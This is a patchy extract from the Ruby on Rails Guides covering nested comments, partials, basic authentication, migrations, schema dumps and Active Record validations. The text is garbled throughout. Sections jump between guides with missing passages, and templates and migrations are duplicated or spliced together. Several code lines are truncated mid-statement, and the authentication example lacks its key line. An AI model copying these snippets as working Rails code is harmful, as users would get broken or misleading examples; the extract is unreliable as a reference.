Record association. You'll learn a little about associations in the next
section of this guide.
The (:references) keyword used in the bash command is a special data
type for models. It creates a new column on your database table with the
provided model name appended with an _id that can hold integer values.
You can get a better understanding after analyzing the db/schema.rb file
below.
In addition to the model, Rails has also made a migration to create the
corresponding database table:
class CreateComments < ActiveRecord::Migration[5.0]
def change
create_table :comments do |t|
t.string :commenter
t.text :body
t.references :article, foreign_key: true
t.timestamps
end
end
end
Rails is smart enough to only execute the migrations that have not already
been run against the current database, so in this case you will just see:
-- create_table(:comments)
-> 0.0115s
== CreateComments: migrated (0.0119s) =========================
Purpose
The Comments controller
Views of the controller are
app/views/comments/
stored here
test/controllers/comments_controller_test.rb The test for the controller
app/helpers/comments_helper.rb
app/assets/javascripts/comment.coffee
app/assets/stylesheets/comment.scss
Like with any blog, our readers will create their comments directly after
reading the article, and once they have added their comment, will be sent
back to the article show page to see their comment now listed. Due to this,
our CommentsController is there to provide a method to create comments
and delete spam comments when they arrive.
So first, we'll wire up the Article show template
(app/views/articles/show.html.erb) to let us make a new comment:
<p>
<strong>Title:</strong>
<%= @article.title %>
</p>
<p>
<strong>Text:</strong>
<%= @article.text %>
</p>
<h2>Add a comment:</h2>
<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
<%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
<%= f.label :body %><br>
<%= f.text_area :body %>
</p>
<p>
<%= f.submit %>
</p>
<% end %>
This adds a form on the Article show page that creates a new comment
by calling the CommentsController create action. The form_for call here
uses an array, which will build a nested route, such as
/articles/1/comments.
Let's wire up the create in app/controllers/comments_controller.rb:
class CommentsController < ApplicationController
def create
@article = Article.find(params[:article_id])
@comment = @article.comments.create(comment_params)
redirect_to article_path(@article)
end
private
def comment_params
params.require(:comment).permit(:commenter, :body)
end
end
You'll see a bit more complexity here than you did in the controller for
articles. That's a side-effect of the nesting that you've set up. Each request
for a comment has to keep track of the article to which the comment is
attached, thus the initial call to the find method of the Article model to
get the article in question.
In addition, the code takes advantage of some of the methods available for
an association. We use the create method on @article.comments to
create and save the comment. This will automatically link the comment so
that it belongs to that particular article.
Once we have made the new comment, we send the user back to the
</p>
<% end %>
<%= link_to 'Edit', edit_article_path(@article) %> |
<%= link_to 'Back', articles_path %>
Now you can add articles and comments to your blog and have them show
up in the right places.
7 Refactoring
Now that we have articles and comments working, take a look at the
app/views/articles/show.html.erb template. It is getting long and
awkward. We can use partials to clean it up.
7.1 Rendering Partial Collections
First, we will make a comment partial to extract showing all the comments
for the article. Create the file app/views/comments/_comment.html.erb
and put the following into it:
<p>
<strong>Commenter:</strong>
<%= comment.commenter %>
</p>
<p>
<strong>Comment:</strong>
<%= comment.body %>
</p>
<h2>Add a comment:</h2>
<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
<%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
<%= f.label :body %><br>
<%= f.text_area :body %>
</p>
<p>
<%= f.submit %>
</p>
<% end %>
<%= link_to 'Edit', edit_article_path(@article) %> |
<%= link_to 'Back', articles_path %>
<p>
<%= f.submit %>
</p>
<% end %>
The second render just defines the partial template we want to render,
comments/form. Rails is smart enough to spot the forward slash in that
string and realize that you want to render the _form.html.erb file in the
app/views/comments directory.
The @article object is available to any partials rendered in the view
because we defined it as an instance variable.
8 Deleting Comments
Another important feature of a blog is being able to delete spam
comments. To do this, we need to implement a link of some sort in the
view and a destroy action in the CommentsController.
So first, let's add the delete link in the
app/views/comments/_comment.html.erb partial:
<p>
<strong>Commenter:</strong>
<%= comment.commenter %>
</p>
<p>
<strong>Comment:</strong>
<%= comment.body %>
</p>
<p>
<%= link_to 'Destroy Comment', [comment.article, comment],
method: :delete,
data: { confirm: 'Are you sure?' } %>
</p>
Clicking this new "Destroy Comment" link will fire off a DELETE
/articles/:article_id/comments/:id to our CommentsController,
which can then use this to find the comment we want to delete, so let's add
a destroy action to our controller
(app/controllers/comments_controller.rb):
class CommentsController < ApplicationController
def create
@article = Article.find(params[:article_id])
@comment = @article.comments.create(comment_params)
redirect_to article_path(@article)
end
def destroy
@article = Article.find(params[:article_id])
@comment = @article.comments.find(params[:id])
@comment.destroy
redirect_to article_path(@article)
end
private
def comment_params
params.require(:comment).permit(:commenter, :body)
end
end
The destroy action will find the article we are looking at, locate the
comment within the @article.comments collection, and then remove it
from the database and send us back to the show action for the article.
8.1 Deleting Associated Objects
If you delete an article, its associated comments will also need to be
deleted, otherwise they would simply occupy space in the database. Rails
allows you to use the dependent option of an association to achieve this.
Modify the Article model, app/models/article.rb, as follows:
class Article < ApplicationRecord
has_many :comments, dependent: :destroy
validates :title, presence: true,
length: { minimum: 5 }
end
9 Security
9.1 Basic Authentication
If you were to publish your blog online, anyone would be able to add, edit
and delete articles or delete comments.
Rails provides a very simple HTTP authentication system that will work
nicely in this situation.
In the ArticlesController we need to have a way to block access to the
various actions if the person is not authenticated. Here we can use the
Rails http_basic_authenticate_with method, which allows access to the
requested action if that method allows it.
To use the authentication system, we specify it at the top of our
ArticlesController in app/controllers/articles_controller.rb. In
our case, we want the user to be authenticated on every action except
index and show, so we write that:
class ArticlesController < ApplicationController
Now if you try to create a new article, you will be greeted with a basic
HTTP Authentication challenge:
10 What's Next?
Now that you've seen your first Rails application, you should feel free to
update it and experiment on your own.
Remember you don't have to do everything without help. As you need
assistance getting up and running with Rails, feel free to consult these
support resources:
The Ruby on Rails Guides
The Ruby on Rails Tutorial
The Ruby on Rails mailing list
The #rubyonrails channel on irc.freenode.net
11 Configuration Gotchas
The easiest way to work with Rails is to store all external data as UTF-8. If
you don't, Ruby libraries and Rails will often be able to convert your
native data into UTF-8, but this doesn't always work reliably, so you're
better off ensuring that all external data is UTF-8.
If you have made a mistake in this area, the most common symptom is a
black diamond with a question mark inside appearing in the browser.
Another common symptom is characters like "" appearing instead of
"". Rails takes a number of internal steps to mitigate common causes of
these problems that can be automatically detected and corrected. However,
if you have external data that is not stored as UTF-8, it can occasionally
result in these kinds of issues that cannot be automatically detected by
Rails and corrected.
Two very common sources of data that are not UTF-8:
Your text editor: Most text editors (such as TextMate), default to
saving files as UTF-8. If your text editor does not, this can result in
special characters that you enter in your templates (such as ) to
appear as a diamond with a question mark inside in the browser. This
also applies to your i18n translation files. Most editors that do not
already default to UTF-8 (such as some versions of Dreamweaver)
offer a way to change the default to UTF-8. Do so.
Your database: Rails defaults to converting data from your database
into UTF-8 at the boundary. However, if your database is not using
UTF-8 internally, it may not be able to store all characters that your
users enter. For instance, if your database is using Latin-1 internally,
and your user enters a Russian, Hebrew, or Japanese character, the
data will be lost forever once it enters the database. If possible, use
UTF-8 as the internal storage of your database.
articles
line_items
deers
mice
Person
people
Following the table schema above, you would be able to write code like
the following:
p = Product.new
p.name = "Some Book"
puts p.name # "Some Book"
If you do so, you will have to define manually the class name that is
hosting the fixtures (my_products.yml) using the set_fixture_class
method in your test definition:
class ProductTest < ActiveSupport::TestCase
set_fixture_class my_products: Product
fixtures :my_products
...
end
It's also possible to override the column that should be used as the table's
primary key using the ActiveRecord::Base.primary_key= method:
class Product < ApplicationRecord
self.primary_key = "product_id"
end
Using the new method, an object can be instantiated without being saved:
user = User.new
user.name = "David"
user.occupation = "Code Artist"
5.2 Read
Active Record provides a rich API for accessing data within a database.
Below are a few examples of different data access methods provided by
Active Record.
# return a collection with all users
users = User.all
# return the first user
user = User.first
# return the first user named David
david = User.find_by(name: 'David')
# find all users named David who are Code Artists and sort by cr
users = User.where(name: 'David', occupation: 'Code Artist').ord
You can learn more about querying an Active Record model in the Active
Record Query Interface guide.
5.3 Update
Once an Active Record object has been retrieved, its attributes can be
modified and it can be saved to the database.
user = User.find_by(name: 'David')
user.name = 'Dave'
user.save
A shorthand for this is to use a hash mapping attribute names to the desired
value, like so:
user = User.find_by(name: 'David')
user.update(name: 'Dave')
This is most useful when updating several attributes at once. If, on the
other hand, you'd like to update several records in bulk, you may find the
update_all class method useful:
5.4 Delete
Likewise, once retrieved an Active Record object can be destroyed which
removes it from the database.
user = User.find_by(name: 'David')
user.destroy
6 Validations
Active Record allows you to validate the state of a model before it gets
written into the database. There are several methods that you can use to
check your models and validate that an attribute value is not empty, is
unique and not already in the database, follows a specific format and many
more.
Validation is a very important issue to consider when persisting to the
database, so the methods save and update take it into account when
running: they return false when validation fails and they didn't actually
perform any operation on the database. All of these have a bang
counterpart (that is, save! and update!), which are stricter in that they
raise the exception ActiveRecord::RecordInvalid if validation fails. A
quick example to illustrate:
class User < ApplicationRecord
validates :name, presence: true
end
user = User.new
user.save # => false
user.save! # => ActiveRecord::RecordInvalid: Validation failed:
You can learn more about validations in the Active Record Validations
guide.
7 Callbacks
Active Record callbacks allow you to attach code to certain events in the
life-cycle of your models. This enables you to add behavior to your models
by transparently executing code when those events occur, like when you
create a new record, update it, destroy it and so on. You can learn more
about callbacks in the Active Record Callbacks guide.
8 Migrations
Rails provides a domain-specific language for managing a database
schema called migrations. Migrations are stored in files which are
executed against any database that Active Record supports using rake.
Here's a migration that creates a table:
class CreatePublications < ActiveRecord::Migration[5.0]
def change
create_table :publications do |t|
t.string :title
t.text :description
t.references :publication_type
t.integer :publisher_id
t.string :publisher_type
t.boolean :single_issue
t.timestamps
end
add_index :publications, :publication_type_id
end
end
Rails keeps track of which files have been committed to the database and
provides rollback features. To actually create the table, you'd run rails
db:migrate and to roll it back, rails db:rollback.
Note that the above code is database-agnostic: it will run in MySQL,
PostgreSQL, Oracle and others. You can learn more about migrations in
the Active Record Migrations guide.
1 Migration Overview
Migrations are a convenient way to alter your database schema over time
in a consistent and easy way. They use a Ruby DSL so that you don't have
to write SQL by hand, allowing your schema and changes to be database
independent.
You can think of each migration as being a new 'version' of the database.
A schema starts off with nothing in it, and each migration modifies it to
add or remove tables, columns, or entries. Active Record knows how to
update your schema along this timeline, bringing it from whatever point it
is in the history to the latest version. Active Record will also update your
db/schema.rb file to match the up-to-date structure of your database.
Here's an example of a migration:
class CreateProducts < ActiveRecord::Migration[5.0]
def change
create_table :products do |t|
t.string :name
t.text :description
t.timestamps
end
end
end
This migration adds a table called products with a string column called
name and a text column called description. A primary key column called
id will also be added implicitly, as it's the default primary key for all
Active Record models. The timestamps macro adds two columns,
created_at and updated_at. These special columns are automatically
managed by Active Record if they exist.
Note that we define the change that we want to happen moving forward in
time. Before this migration is run, there will be no table. After, the table
will exist. Active Record knows how to reverse this migration as well: if
we roll this migration back, it will remove the table.
On databases that support transactions with statements that change the
schema, migrations are wrapped in a transaction. If the database does not
support this then when a migration fails the parts of it that succeeded will
not be rolled back. You will have to rollback the changes that were made
by hand.
There are certain queries that can't run inside a transaction. If your adapter
supports DDL transactions you can use disable_ddl_transaction! to
disable them for a single migration.
If you wish for a migration to do something that Active Record doesn't
know how to reverse, you can use reversible:
class ChangeProductsPrice < ActiveRecord::Migration[5.0]
def change
reversible do |dir|
change_table :products do |t|
dir.up { t.change :price, :string }
dir.down { t.change :price, :integer }
end
end
end
end
def down
change_table :products do |t|
t.change :price, :integer
end
end
end
2 Creating a Migration
2.1 Creating a Standalone Migration
Migrations are stored as files in the db/migrate directory, one for each
migration class. The name of the file is of the form
YYYYMMDDHHMMSS_create_products.rb, that is to say a UTC timestamp
identifying the migration followed by an underscore followed by the name
of the migration. The name of the migration class (CamelCased version)
should match the latter part of the file name. For example
20080906120000_create_products.rb should define class
CreateProducts and 20080906120001_add_details_to_products.rb
should define AddDetailsToProducts. Rails uses this timestamp to
determine which migration should be run and in what order, so if you're
copying a migration from another application or generate a file yourself,
be aware of its position in the order.
Of course, calculating timestamps is no fun, so Active Record provides a
generator to handle making it for you:
$ bin/rails generate migration AddPartNumberToProducts
will generate
class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
def change
add_column :products, :part_number, :string
end
end
If you'd like to add an index on the new column, you can do that as well:
will generate
class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
def change
add_column :products, :part_number, :string
add_index :products, :part_number
end
end
generates
You are not limited to one magically generated column. For example:
generates
class AddDetailsToProducts < ActiveRecord::Migration[5.0]
def change
add_column :products, :part_number, :string
add_column :products, :price, :decimal
end
end
generates
class CreateProducts < ActiveRecord::Migration[5.0]
def change
create_table :products do |t|
t.string :name
t.string :part_number
end
end
end
As always, what has been generated for you is just a starting point. You
can add or remove from it as you see fit by editing the
db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb file.
generates
This migration will create a user_id column and appropriate index. For
more add_reference options, visit the API documentation.
There is also a generator which will produce join tables if JoinTable is
part of the name:
adding a new model. This migration will already contain instructions for
creating the relevant table. If you tell Rails what columns you want, then
statements for adding these columns will also be created. For example,
running:
$ bin/rails generate model Product name:string description:text
def change
add_column :products, :price, :decimal, precision: 5, scale:
add_reference :products, :supplier, polymorphic: true, index
end
end
3 Writing a Migration
Once you have created your migration using one of the generators it's time
to get to work!
3.1 Creating a Table
The create_table method is one of the most fundamental, but most of the
time, will be generated for you from using a model or scaffold generator.
A typical use would be
create_table :products do |t|
t.string :name
end
By default, the name of the join table comes from the union of the first two
arguments provided to create_join_table, in alphabetical order. To
customize the name of the table, provide a :table_name option:
t.index :category_id
end
This sets :name field on products to a NOT NULL column and the default
value of the :approved field from true to false.
Note: You could also write the above change_column_default migration
as change_column_default :products, :approved, false, but unlike
the previous example, this would make your migration irreversible.
3.5 Column Modifiers
Column modifiers can be applied when creating or changing a column:
limit Sets the maximum size of the string/text/binary/integer
fields.
precision Defines the precision for the decimal fields, representing
This adds a new foreign key to the author_id column of the articles
table. The key references the id column of the authors table. If the
column names can not be derived from the table names, you can use the
:column and :primary_key options.
Rails will generate a name for every foreign key starting with fk_rails_
followed by 10 characters which are deterministically generated from the
from_table and column. There is a :name option to specify a different
name if needed.
Active Record only supports single column foreign keys. execute and
structure.sql are required to use composite foreign keys. See Schema
Dumping and You.
Removing a foreign key is easy as well:
# let Active Record figure out the column name
remove_foreign_key :accounts, :branches
# remove foreign key for a specific column
remove_foreign_key :accounts, column: :owner_id
# remove foreign key by name
remove_foreign_key :accounts, name: :special_fk_name
For more details and examples of individual methods, check the API
documentation. In particular the documentation for
ActiveRecord::ConnectionAdapters::SchemaStatements (which
provides the methods available in the change, up and down methods),
ActiveRecord::ConnectionAdapters::TableDefinition (which
provides the methods available on the object yielded by create_table)
and ActiveRecord::ConnectionAdapters::Table (which provides the
methods available on the object yielded by change_table).
3.8 Using the change Method
The change method is the primary way of writing migrations. It works for
the majority of cases, where Active Record knows how to reverse the
migration automatically. Currently, the change method supports only these
migration definitions:
add_column
add_foreign_key
add_index
add_reference
add_timestamps
change_column_default (must supply a :from and :to option)
change_column_null
create_join_table
create_table
disable_extension
drop_join_table
drop_table (must supply a block)
enable_extension
remove_column (must supply a type)
remove_foreign_key (must supply a second table)
remove_index
remove_reference
remove_timestamps
rename_column
rename_index
rename_table
change_table is also reversible, as long as the block does not call change,
change_default or remove.
remove_column is reversible if you supply the column type as the third
argument. Provide the original column options too, otherwise Rails can't
recreate the column exactly when rolling back:
If you're going to need to use any other methods, you should use
reversible or write the up and down methods instead of using the change
method.
3.9 Using reversible
Complex migrations may require processing that Active Record doesn't
know how to reverse. You can use reversible to specify what to do when
running a migration and what else to do when reverting it. For example:
class ExampleMigration < ActiveRecord::Migration[5.0]
def change
create_table :distributors do |t|
t.string :zipcode
end
reversible do |dir|
dir.up do
# add a CHECK constraint
execute <<-SQL
ALTER TABLE distributors
Using reversible will ensure that the instructions are executed in the
right order too. If the previous example migration is reverted, the down
block will be run after the home_page_url column is removed and right
before the table distributors is dropped.
Sometimes your migration will do something which is just plain
irreversible; for example, it might destroy some data. In such cases, you
can raise ActiveRecord::IrreversibleMigration in your down block. If
someone tries to revert your migration, an error message will be displayed
saying that it can't be done.
3.10 Using the up/down Methods
You can also use the old style of migration using up and down methods
instead of the change method. The up method should describe the
transformation you'd like to make to your schema, and the down method of
your migration should revert the transformations done by the up method.
In other words, the database schema should be unchanged if you do an up
followed by a down. For example, if you create a table in the up method,
The same migration could also have been written without using revert but
this would have involved a few more steps: reversing the order of
create_table and reversible, replacing create_table by drop_table,
and finally replacing up by down and vice-versa. This is all taken care of by
revert.
If you want to add check constraints like in the examples above, you will
have to use structure.sql as dump method. See Schema Dumping and
You.
4 Running Migrations
Rails provides a set of bin/rails tasks to run certain sets of migrations.
The very first migration related bin/rails task you will use will probably be
rails db:migrate. In its most basic form it just runs the change or up
method for all the migrations that have not yet been run. If there are no
such migrations, it exits. It will run these migrations in order based on the
date of the migration.
Note that running the db:migrate task also invokes the db:schema:dump
task, which will update your db/schema.rb file to match the structure of
your database.
If you specify a target version, Active Record will run the required
migrations (change, up, down) until it has reached the specified version.
The version is the numerical prefix on the migration's filename. For
example, to migrate to version 20080906120000 run:
$ bin/rails db:migrate VERSION=20080906120000
This will rollback the latest migration, either by reverting the change
method or by running the down method. If you need to undo several
migrations you can provide a STEP parameter:
$ bin/rails db:rollback STEP=3
out more about dumping the schema see Schema Dumping and You
section.
4.4 Running Specific Migrations
If you need to run a specific migration up or down, the db:migrate:up and
db:migrate:down tasks will do that. Just specify the appropriate version
and the corresponding migration will have its change, up or down method
invoked, for example:
$ bin/rails db:migrate:up VERSION=20080906120000
will run the 20080906120000 migration by running the change method (or
the up method). This task will first check whether the migration is already
performed and will do nothing if Active Record believes that it has already
been run.
4.5 Running Migrations in Different Environments
By default running bin/rails db:migrate will run in the development
environment. To run migrations against another environment you can
specify it using the RAILS_ENV environment variable while running the
command. For example to run migrations against the test environment
you could run:
$ bin/rails db:migrate RAILS_ENV=test
Several methods are provided in migrations that allow you to control all
this:
Method
Purpose
Takes a block as an argument and suppresses any
suppress_messages
output generated by the block.
Takes a message argument and outputs it as is. A
say
second boolean argument can be passed to specify
whether to indent or not.
Outputs text along with how long it took to run its
say_with_time
block. If the block returns an integer it assumes it is
the number of rows affected.
For example, this migration:
class CreateProducts < ActiveRecord::Migration[5.0]
def change
suppress_messages do
create_table :products do |t|
t.string :name
t.text :description
t.timestamps
end
end
say "Created a table"
suppress_messages {add_index :products, :name}
say "and an index!", true
say_with_time 'Waiting for a while' do
sleep 10
250
end
end
end
If you want Active Record to not output anything, then running rails
db:migrate VERBOSE=false will suppress all output.
ActiveRecord::Schema.define(version: 20080906171750) do
create_table "authors", force: true do |t|
t.string "name"
t.datetime "created_at"
t.datetime "updated_at"
end
create_table "products", force: true do |t|
t.string "name"
t.text "description"
t.datetime "created_at"
t.datetime "updated_at"
t.string "part_number"
end
end
In many ways this is exactly what it is. This file is created by inspecting
the database and expressing its structure using create_table, add_index,
and so on. Because this is database-independent, it could be loaded into
any database that Active Record supports. This could be very useful if you
were to distribute an application that is able to run against multiple
databases.
There is however a trade-off: db/schema.rb cannot express database
specific items such as triggers, stored procedures or check constraints.
While in a migration you can execute custom SQL statements, the schema
dumper cannot reconstitute those statements from the database. If you are
using features like this, then you should set the schema format to :sql.
Instead of using Active Record's schema dumper, the database's structure
will be dumped using a tool specific to the database (via the
db:structure:dump rails task) into db/structure.sql. For example, for
PostgreSQL, the pg_dump utility is used. For MySQL and MariaDB, this
file will contain the output of SHOW CREATE TABLE for the various tables.
Loading these schemas is simply a question of executing the SQL
statements they contain. By definition, this will create a perfect copy of the
database's structure. Using the :sql schema format will, however, prevent
loading the schema into a RDBMS other than the one used to create it.
6.3 Schema Dumps and Source Control
Because schema dumps are the authoritative source for your database
schema, it is strongly recommended that you check them into source
control.
db/schema.rb contains the current version number of the database. This
ensures conflicts are going to happen in the case of a merge where both
branches touched the schema. When that happens, solve conflicts
manually, keeping the highest version number of the two.
To add initial data after a database is created, Rails has a built-in 'seeds'
feature that makes the process quick and easy. This is especially useful
when reloading the database frequently in development and test
environments. It's easy to get started with this feature: just fill up
db/seeds.rb with some Ruby code, and run rails db:seed:
5.times do |i|
Product.create(name: "Product ##{i}", description: "A product.
end
1 Validations Overview
Here's an example of a very simple validation:
class Person < ApplicationRecord
validates :name, presence: true
end
Person.create(name: "John Doe").valid? # => true
Person.create(name: nil).valid? # => false
As you can see, our validation lets us know that our Person is not valid
without a name attribute. The second Person will not be persisted to the
database.
Before we dig into more details, let's talk about how validations fit into the
big picture of your application.
1.1 Why Use Validations?
Validations are used to ensure that only valid data is saved into your
database. For example, it may be important to your application to ensure
that every user provides a valid email address and mailing address. Modellevel validations are the best way to ensure that only valid data is saved
into your database. They are database agnostic, cannot be bypassed by end
users, and are convenient to test and maintain. Rails makes them easy to
use, provides built-in helpers for common needs, and allows you to create
your own validation methods as well.
There are several other ways to validate data before it is saved into your
database, including native database constraints, client-side validations and
controller-level validations. Here's a summary of the pros and cons:
Database constraints and/or stored procedures make the validation
$ bin/rails console
>> p = Person.new(name: "John Doe")
=> #<Person id: nil, name: "John Doe", created_at: nil, updated_
>> p.new_record?
=> true
>> p.save
=> true
>> p.new_record?
=> false
Creating and saving a new record will send an SQL INSERT operation to
the database. Updating an existing record will send an SQL UPDATE
operation instead. Validations are typically run before these commands are
sent to the database. If any validations fail, the object will be marked as
invalid and Active Record will not perform the INSERT or UPDATE
operation. This avoids storing an invalid object in the database. You can
choose to have specific validations run when an object is created, saved, or
updated.
There are many ways to change the state of an object in the database.
Some methods will trigger validations, but some will not. This means that
it's possible to save an object in the database in an invalid state if you
aren't careful.
The following methods trigger validations, and will save the object to the
database only if the object is valid:
create
create!
save
save!
update
update!
The bang versions (e.g. save!) raise an exception if the record is invalid.
The non-bang versions don't: save and update return false, and create
just returns the object.
1.3 Skipping Validations
The following methods skip validations, and will save the object to the
database regardless of its validity. They should be used with caution.
decrement!
decrement_counter
increment!
increment_counter
toggle!
touch
update_all
update_attribute
update_column
update_columns
update_counters
Note that save also has the ability to skip validations if passed validate:
false as an argument. This technique should be used with caution.
save(validate: false)
After Active Record has performed validations, any errors found can be
accessed through the errors.messages instance method, which returns a
collection of errors. By definition, an object is valid if this collection is
empty after running validations.
Note that an object instantiated with new will not report errors even if it's
technically invalid, because validations are automatically run only when
the object is saved, such as with the create or save methods.
class Person < ApplicationRecord
validates :name, presence: true
end
>> p = Person.new
# => #<Person id: nil, name: nil>
>> p.errors.messages
# => {}
>> p.valid?
# => false
>> p.errors.messages
# => {name:["can't be blank"]}
>> p = Person.create
# => #<Person id: nil, name: nil>
>> p.errors.messages
# => {name:["can't be blank"]}
>> p.save
# => false
>> p.save!
# => ActiveRecord::RecordInvalid: Validation failed: Name can't
>> Person.create!
# => ActiveRecord::RecordInvalid: Validation failed: Name can't
returning true if any errors were found in the object, and false otherwise.
1.5 errors[]
To verify whether or not a particular attribute of an object is valid, you can
use errors[:attribute]. It returns an array of all the errors for
:attribute. If there are no errors on the specified attribute, an empty
array is returned.
This method is only useful after validations have been run, because it only
inspects the errors collection and does not trigger validations itself. It's
different from the ActiveRecord::Base#invalid? method explained
above because it doesn't verify the validity of the object as a whole. It only
checks to see whether there are errors found on an individual attribute of
the object.
class Person < ApplicationRecord
validates :name, presence: true
end
>> Person.new.errors[:name].any? # => false
>> Person.create.errors[:name].any? # => true
2 Validation Helpers
Active Record offers many pre-defined validation helpers that you can use
directly inside your class definitions. These helpers provide common
validation rules. Every time a validation fails, an error message is added to
the object's errors collection, and this message is associated with the
attribute being validated.
Each helper accepts an arbitrary number of attribute names, so with a
single line of code you can add the same kind of validation to several
attributes.
All of them accept the :on and :message options, which define when the
validation should be run and what message should be added to the errors
collection if it fails, respectively. The :on option takes one of the values
:create or :update. There is a default error message for each one of the
validation helpers. These messages are used when the :message option
isn't specified. Let's take a look at each one of the available helpers.
2.1 acceptance
This method validates that a checkbox on the user interface was checked
when a form was submitted. This is typically used when the user needs to
agree to your application's terms of service, confirm that some text is read,
or any similar concept.
class Person < ApplicationRecord
validates :terms_of_service, acceptance: true
end
There is also a :case_sensitive option that you can use to define whether
the confirmation constraint will be case sensitive or not. This option
defaults to true.
The default error message for this helper is "doesn't match confirmation".
2.4 exclusion
This helper validates that the attributes' values are not included in a given
set. In fact, this set can be any enumerable object.
class Account < ApplicationRecord
validates :subdomain, exclusion: { in: %w(www us ca jp),
message: "%{value} is reserved." }
end
The exclusion helper has an option :in that receives the set of values that
will not be accepted for the validated attributes. The :in option has an
alias called :within that you can use for the same purpose, if you'd like to.
This example uses the :message option to show how you can include the
attribute's value.
The default error message is "is reserved".
2.5 format
This helper validates the attributes' values by testing whether they match a
given regular expression, which is specified using the :with option.
class Product < ApplicationRecord
validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/,
message: "only allows letters" }
end
Alternatively, you can require that the specified attribute does not match
the regular expression by using the :without option.
The default error message is "is invalid".
2.6 inclusion
This helper validates that the attributes' values are included in a given set.
In fact, this set can be any enumerable object.
class Coffee < ApplicationRecord
validates :size, inclusion: { in: %w(small medium large),
message: "%{value} is not a valid size" }
end
The inclusion helper has an option :in that receives the set of values that
will be accepted. The :in option has an alias called :within that you can
use for the same purpose, if you'd like to. The previous example uses the
:message option to show how you can include the attribute's value.
The default error message for this helper is "is not included in the list".
2.7 length
This helper validates the length of the attributes' values. It provides a
variety of options, so you can specify length constraints in different ways:
class Person < ApplicationRecord
validates :name, length: { minimum: 2 }
validates :bio, length: { maximum: 500 }
validates :password, length: { in: 6..20 }
validates :registration_number, length: { is: 6 }
end
:minimum - The attribute cannot have less than the specified length.
:maximum - The attribute cannot have more than the specified length.
:in (or :within) - The attribute length must be included in a given
Note that the default error messages are plural (e.g., "is too short
(minimum is %{count} characters)"). For this reason, when :minimum is 1
you should provide a personalized message or use presence: true
instead. When :in or :within have a lower limit of 1, you should either
provide a personalized message or call presence prior to length.
2.8 numericality
This helper validates that your attributes have only numeric values. By
default, it will match an optional sign followed by an integral or floating
point number. To specify that only integral numbers are allowed set
:only_integer to true.
If you set :only_integer to true, then it will use the
/\A[+-]?\d+\z/
supplied value. The default error message for this option is "must be
greater than %{count}".
:greater_than_or_equal_to - Specifies the value must be greater
than or equal to the supplied value. The default error message for this
option is "must be greater than or equal to %{count}".
:equal_to - Specifies the value must be equal to the supplied value.
The default error message for this option is "must be equal to %
{count}".
:less_than - Specifies the value must be less than the supplied value.
The default error message for this option is "must be less than %
{count}".
:less_than_or_equal_to - Specifies the value must be less than or
equal to the supplied value. The default error message for this option
is "must be less than or equal to %{count}".
:other_than - Specifies the value must be other than the supplied
value. The default error message for this option is "must be other than
%{count}".
:odd - Specifies the value must be an odd number if set to true. The
default error message for this option is "must be odd".
:even - Specifies the value must be an even number if set to true. The
has_many relationship, it will check that the object is neither blank? nor
marked_for_destruction?.
By using one of these validations, you will ensure the value will NOT be
nil which would result in a NULL value in most cases.
2.10 absence
This helper validates that the specified attributes are absent. It uses the
present? method to check if the value is not either nil or a blank string,
that is, a string that is either empty or consists of whitespace.
class Person < ApplicationRecord
validates :name, :login, :email, absence: true
end
validates_with GoodnessValidator
end
Note that the validator will be initialized only once for the whole
application life cycle, and not on each validation run, so be careful about
using instance variables inside it.
If your validator is complex enough that you want instance variables, you
can easily use a plain old Ruby object instead:
def validate
if some_complex_condition_involving_ivars_and_private_method
@person.errors[:base] << "This person is evil"
end
end
# ...
end
2.13 validates_each
This helper validates attributes against a block. It doesn't have a predefined
validation function. You should create one using a block, and every
attribute passed to validates_each will be tested against it. In the
following example, we don't want names and surnames to begin with
lower case.
The block receives the record, the attribute's name and the attribute's value.
You can do anything you like to check for valid data within the block. If
your validation fails, you should add an error message to the model,
3.2 :allow_blank
The :allow_blank option is similar to the :allow_nil option. This option
will let validation pass if the attribute's value is blank?, like nil or an
empty string for example.
class Topic < ApplicationRecord
validates :title, length: { is: 5 }, allow_blank: true
end
Topic.create(title: "").valid? # => true
Topic.create(title: nil).valid? # => true
3.3 :message
As you've already seen, the :message option lets you specify the message
that will be added to the errors collection when validation fails. When
this option is not used, Active Record will use the respective default error
message for each validation helper. The :message option accepts a String
or Proc.
# Proc
validates :username,
uniqueness: {
# object = person object being validated
# data = { model: "Person", attribute: "Username", value:
message: ->(object, data) do
"Hey #{object.name}!, #{data[:value]} is taken already!
end
}
end
3.4 :on
The :on option lets you specify when the validation should happen. The
default behavior for all the built-in validation helpers is to be run on save
(both when you're creating a new record and when you're updating it). If
you want to change it, you can use on: :create to run the validation only
when a new record is created or on: :update to run the validation only
when a record is updated.
class Person < ApplicationRecord
# it will be possible to update email with a duplicated value
You can also use on: to define custom context. Custom contexts need to
be triggered explicitly by passing name of the context to valid?, invalid?
or save.
class Person < ApplicationRecord
validates :email, uniqueness: true, on: :account_setup
validates :age, numericality: true, on: :account_setup
end
person = Person.new
4 Strict Validations
You can also specify validations to be strict and raise
ActiveModel::StrictValidationFailed when the object is invalid.
class Person < ApplicationRecord
validates :name, presence: { strict: true }
end
There is also the ability to pass a custom exception to the :strict option.
5 Conditional Validation
Sometimes it will make sense to validate an object only when a given
predicate is satisfied. You can do that by using the :if and :unless
options, which can take a symbol, a string, a Proc or an Array. You may
use the :if option when you want to specify when the validation should
happen. If you want to specify when the validation should not happen,
then you may use the :unless option.
5.1 Using a Symbol with :if and :unless
You can associate the :if and :unless options with a symbol
corresponding to the name of a method that will get called right before
validation happens. This is the most commonly used option.
class Order < ApplicationRecord
validates :card_number, presence: true, if: :paid_with_card?
def paid_with_card?
payment_type == "card"
end
end
Finally, it's possible to associate :if and :unless with a Proc object
which will be called. Using a Proc object gives you the ability to write an
inline condition instead of a separate method. This option is best suited for
one-liners.
class Account < ApplicationRecord
validates :password, confirmation: true,
unless: Proc.new { |a| a.password.blank? }
end
The validation only runs when all the :if conditions and none of the
:unless conditions are evaluated to true.
end
end
class Person < ApplicationRecord
validates :email, presence: true, email: true
end
As shown in the example, you can also combine standard validations with
your own custom validators.
6.2 Custom Methods
You can also create methods that verify the state of your models and add
messages to the errors collection when they are invalid. You must then
register these methods by using the validate (API) class method, passing
in the symbols for the validation methods' names.
